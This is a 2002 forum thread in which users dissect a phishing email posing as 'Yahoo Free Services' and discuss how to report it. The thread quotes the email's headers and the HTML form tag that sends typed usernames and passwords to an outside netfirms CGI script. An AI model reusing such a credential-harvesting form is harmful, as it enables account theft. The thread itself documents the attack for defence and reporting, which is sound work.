VERY Peculiar email...

[vass0922]

Ok so I check my yahoo email today and I get one with the subject of..

Important Notice : Sign in for free mailbox upgrade 20 mb and more...
Hmm ok sounds shakey but its
from Yahoo Free Services.... so its from yahoo .. MUST be ok then!
From email address "Yahoo Free Services" <manage@yahoo.com>

I'm attaching an image, you can see the email is a perfect mockup of the login screen and yes the username / pass are working text boxes.. its not just an image...
SO being the geek that I am strolled through the code and here seems to the code for the submit button...

<form target="_blank" action="http://freeupgrade1.netfirms.com/cgi-bin/mailup.cgi" method="post"><input type="hidden" name="islem" value="log"><input type="hidden" name="Domain" value="Yahoo">

who the hell is that?!
Anybody else seen this?
I'm thinking its BADDDDDDDDDDDDDDDD news.. but maybe I'm just paranoid?

Your opinion?
I wasn't sure to put this in tech or community.. I think both need to see it though ... maybe put it here for awhile and then have a mod move it
Anyways.. i'm thinkin' the email is spoofed and its a password theif?

[vass0922]

OK the tale grows taller
I viewed the full headers of the email and it gets more interesting...


X-Apparently-To: myrealemailaddress@yahoo.com via 216.136.225.47; 07 Nov 2002 01:29:21 -0800 (PST)
Return-Path: <manage@yahoo.com>
Received: from 212.65.129.19 (HELO ommo.net) (212.65.129.19) by mta551.mail.yahoo.com with SMTP; 07 Nov 2002 01:29:13 -0800 (PST)
From: "Yahoo Free Services" <manage@yahoo.com> | This is Spam | Add to Address Book
Reply-to: manage@yahoo.com
To: uintief@yahoo.com
Date: Thu, 7 Nov 2002 11:29:10 +0200
Subject: Important Notice : Sign in for free mailbox upgrade 20 mb and more...
X-Mailer: Microsoft Outlook Express 5.00.2919.7000
MIME-Version: 1.0
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Length: 4202

212.65.129.19 resolves to www.eostaffing.com
Since when does yahoo send bulk email from outlook express?
Anybody know how to turn in email like this to yahoo authorities?

[TheBurningCat]

LOL - to turn it in i'm not sure..

but check all the links on that page. See if they send you silly places... check where the images are coming from...ect. i bet you checked tho!

[radio1_mike]

I'd be wary.

Yahoo! Mail is all I use and I've never received an email like that! You can just forward that email to them as spam. Or just click the "This is Spam" button...

[LarrySamDavid25]

abuse@yahoo.com

[SickPup404]

Yahoo also has a form here:
http://add.yahoo.com/fast/help/us/mail/cgi_abuse

Your best bet looks to be forwarding to the abuse addy...

[vass0922]

Yes, I did check the links TBC.. they did stay the same probably to make whoever is filling in the form feel a little better about 'logging in again'.

The email is forwarded.. thanks for the addy

[Barney]

You might want to start by reporting freeupgrade1.netfirms.com at abuse@netfirms.com

Wait, It seems it has already been shut down...

Still it would be a good idea to explain the situation to Yahoo so they are aware people are using this method to get someone's name and password. Maybe they should send out one of those emails to all Yahoo users saying they'll never ask for a password in an email.

[nukes]

You should definatley report this. It is a password gatherer, as you will have gathered and some people will have been duped.

[Mike]

hmm I wonder why someone is trying to steal other people's Yahoo e-mail address.
It's odd because I can understand people ripping off credit card and AOL accounts by why a Yahoo e-mail address? Just for the pure fun of stealing?
Because I know if someone did that to my Yahoo e-mail address I would be upset.